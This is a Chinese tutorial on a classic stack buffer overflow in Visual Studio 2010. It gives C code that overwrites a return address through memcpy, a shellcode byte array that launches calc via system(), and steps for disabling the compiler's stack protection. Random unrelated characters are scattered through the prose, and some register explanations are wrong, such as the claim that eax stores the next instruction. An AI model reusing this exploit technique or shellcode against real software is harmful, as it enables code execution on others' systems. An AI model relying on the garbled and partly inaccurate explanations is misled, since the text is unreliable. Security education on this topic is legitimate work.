在閱讀此篇文章時,請先確定已有一些計算機功底,其中包括計算機組成原理玻淑、寄存器功能嗽冒、匯編語感。
正文開始:
實驗環(huán)境:windows8.1补履,vs2010
相信不少人聽說過緩沖區(qū)溢出攻擊添坊,這是當(dāng)時黑客網(wǎng)絡(luò)攻擊很關(guān)鍵的一種攻擊方式,直到現(xiàn)在很多黑客找到bug后進(jìn)行的攻擊行為還是基于它為原理箫锤,今天我給大家簡單實驗一下贬蛙。
首先講一下緩沖區(qū)溢出攻擊如何實現(xiàn),就要提到計算機底層調(diào)用函數(shù)的方式谚攒。當(dāng)你運行你自己寫好的程序時阳准,系統(tǒng)會自動開一個線程并為你分配一段內(nèi)存以供程序運行,其中一部分內(nèi)存會用來作為線程的棧馏臭,而函數(shù)的調(diào)用離不開棧的運用野蝇。
先講一些寄存器esp(棧指針寄存器)ebp(基址寄存器)eip(指令地址寄存器)eax(指令寄存器,可能還有其它功能)括儒。
寄存器中都存放了一個32位的二進(jìn)制數(shù)(如果是64位操作系統(tǒng)則是64位二進(jìn)制數(shù)绕沈,不過用c或者匯編寫的程序大多是三十二位的),這32位二進(jìn)制數(shù)當(dāng)然是一個地址帮寻,如果這個數(shù)是0x00000018(十六進(jìn)制數(shù))那么則該寄存器指向內(nèi)存中第十八個字節(jié)(當(dāng)然0x00000018這樣的內(nèi)存是不可能被普通程序員使用的乍狐,大多是0x007FEF87這樣的內(nèi)存)。
esp中存放的數(shù)據(jù)(三十二位二進(jìn)制數(shù))自然就是棧中的棧頂指針固逗,比如棧的內(nèi)存塊是0x00000000~0x000000FF浅蚪,而其中0x000000CC~0x000000FF(這些地址都是隨便一寫)有數(shù)據(jù),則esp的地址就是0x000000CC-4=0x000000C8這個數(shù)抒蚜,下一次壓棧時掘鄙,就會把0x000000C8~0x000000CB填滿數(shù)據(jù),棧頂指針再自減4嗡髓,指向0x000000C4(棧的走向是從高地址走向低地址)操漠。
ebp中存放的數(shù)據(jù)是用來基址尋址的基址(好別扭),也是一個地址饿这,它的特點是一般會在局部變量和函數(shù)參數(shù)所存放地址的中間浊伙,意思就是ebp+0xXX中存放的數(shù)據(jù)是函數(shù)參數(shù),ebp-0xXX中存放的數(shù)據(jù)是局部變量长捧,當(dāng)調(diào)用一個函數(shù)時嚣鄙,需要改變ebp中存放的地址。每一個函數(shù)都有自己的基址(應(yīng)該吧)串结。
eip中存放的數(shù)據(jù)是下一條指令的地址哑子,當(dāng)cpu執(zhí)行完當(dāng)前指令需要下一條指令時舅列,則會根據(jù)eip的數(shù)據(jù)(就是一條地址)來獲取下一條指令,并把它存放到eax寄存器中卧蜓。
函數(shù)調(diào)用過程:
當(dāng)你在main函數(shù)里調(diào)用一個函數(shù)(比如fun函數(shù))時
fun(a,b);
int i = 0;
這是兩條指令帐要,調(diào)用的函數(shù)有兩個參數(shù)a、b弥奸,那么會先從右到左把b和a依次壓入堆棧中榨惠,之后把下一條指令(int i = 0;)的地址也壓入堆棧中(每壓入一次esp自動自減4),當(dāng)函數(shù)執(zhí)行完后可根據(jù)該地址返回到父函數(shù)盛霎。
把ebp(此時ebp還是父函數(shù)的基址)的數(shù)據(jù)壓入棧赠橙,函數(shù)執(zhí)行完后根據(jù)該地址找回父函數(shù)基址。
把esp的地址值賦給ebp(此時ebp即為該函數(shù)基址)愤炸。
esp自減0xXX為局部變量開辟內(nèi)存空間期揪。
此時函數(shù)調(diào)用前的準(zhǔn)備工作完成,開始函數(shù)調(diào)用摇幻。
此時棧的部分結(jié)構(gòu)就是
__________
esp->||低地址
||
|緩沖區(qū)|
||
||
|_________|
|___ebp___|
|int i = 0;___|(父函數(shù)調(diào)用函數(shù)時的下一條指令地址)
|a________|
|b________|//高地址
………………(手工繪圖 如果覺得圖渣 那你來打我呀)
講了這么多終于要講到關(guān)鍵的地方了横侦,如果我在函數(shù)中創(chuàng)建了一個局部變量數(shù)組char buffer[4],那么緩沖區(qū)最后的四個字節(jié)會被分給該局部變量绰姻,隨后緊跟的內(nèi)存存放的是ebp、父函數(shù)下一條指令地址(簡稱為返回地址)引瀑、函數(shù)參數(shù)a狂芋、b
如果此時我給buffer調(diào)用memcpy函數(shù)賦給了它十六個字節(jié)的字符串"0000111122223333",那么只有0000會被buffer接收憨栽,而ebp會被沖刷成1111(也就是0x31313131)帜矾,返回地址會被沖刷為0x32323232,隨后程序就崩潰了屑柔,因為函數(shù)調(diào)用結(jié)束后0x32323232是不可訪問內(nèi)存屡萤,會發(fā)生訪問沖突。
如果我對十六個字節(jié)的字符串進(jìn)行修改 把2222換成另一個函數(shù)的地址掸宛,在該函數(shù)調(diào)用完成后豈不是就會開始調(diào)用這個函數(shù)死陆?這就是很前一段時間常見的緩沖區(qū)溢出攻擊,會讓程序開始執(zhí)行一段secret代碼唧瘾,如果是惡意代碼的話(嘿嘿嘿嘿嘿嘿)措译。
現(xiàn)在開始上代碼(終于有代碼了):
#include
#include
#include
#pragma comment(linker,"/SECTION:.data,RWE") //這條代碼讓shellcode數(shù)據(jù)片可作為代碼來執(zhí)行
unsigned char shellcode[] = "\x55\x64\x8b\x35\x30\x00\x00\x00"
"\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e"
"\x08\x8b\x7e\x20\x8b\x36\x80\x7f"
"\x18\x00\x75\xf2\x8b\xfd\x83\xec"
"\x64\x8b\xec\x8b\x47\x3c\x8b\x54"
"\x07\x78\x03\xd7\x8b\x4a\x18\x8b"
"\x5a\x20\x03\xdf\x49\x8b\x34\x8b"
"\x03\xf7\xb8\x47\x65\x74\x50\x39"
"\x06\x75\xf1\xb8\x72\x6f\x63\x41"
"\x39\x46\x04\x75\xe7\x8b\x5a\x24"
"\x03\xdf\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x03\xdf\x8b\x04\x8b\x03\xc7"
"\x89\x45\x4c\x6a\x00\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\x54\x57\xff\x55"
"\x4c\x89\x45\x50\x6a\x00\x68\x65"
"\x73\x73\x00\x68\x50\x72\x6f\x63"
"\x68\x45\x78\x69\x74\x54\x57\xff"
"\x55\x4c\x89\x45\x54\x6a\x70\x68"
"\x53\x6c\x65\x65\x54\x57\xff\x55"
"\x4c\x89\x45\x58\x6a\x00\x68\x72"
"\x74\x00\x00\x68\x6d\x73\x76\x63"
"\x54\xff\x55\x50\x8b\xf8\x6a\x00"
"\x68\x65\x6d\x00\x00\x68\x73\x79"
"\x73\x74\x54\x57\xff\x55\x4c\x89"
"\x45\x5c\x6a\x00\x68\x63\x61\x6c"
"\x63\x54\xff\x55\x5c\xff\x55\x54"
"";
void hacker()
{
printf("%i",1);//當(dāng)該函數(shù)被調(diào)用時,說明溢出攻擊成功了
exit(5);
}
void fun(char *str)
{
char buffer[4];
memcpy(buffer, str, 16);
}
int main()
{
//((void(*)())&shellcode)();//執(zhí)行shellcode數(shù)據(jù)片
char badStr[] = "000011112222333344445555";//創(chuàng)建了一個24個字節(jié)的字符數(shù)組
DWORD *pEIP = (DWORD*)&badStr[8];//獲取該數(shù)組的第八個元素的地址(從第零個開始)
//*pEIP = (DWORD)&shellcode[0];//獲取shellcode數(shù)據(jù)片開頭地址
*pEIP = (DWORD)hacker;//獲取hacker函數(shù)地址(三十二位二進(jìn)制數(shù))饰序,同時賦給pEIP(即修改了badStr的2222變?yōu)閔acker函數(shù)地址)
fun(badStr);//開始攻擊
return 0;
}
看注釋應(yīng)該就能明白了领虹,我在這里特別說一下vs很早就有檢測棧溢出的功能了,不關(guān)閉它的話無法測試成功求豫。
選擇console1屬性
修改基本運行時檢查為默認(rèn)值 修改緩沖區(qū)安全檢查為否塌衰。
運行程序包各,發(fā)現(xiàn)log窗口中出現(xiàn) ? ”程序“[0x202C] console1.exe: 本機”已退出,返回值為 5 (0x5)跳座∫酰“
說明執(zhí)行了exit(5)代碼,攻擊成功肚菠。
下一章將講述如何編寫shellcode代碼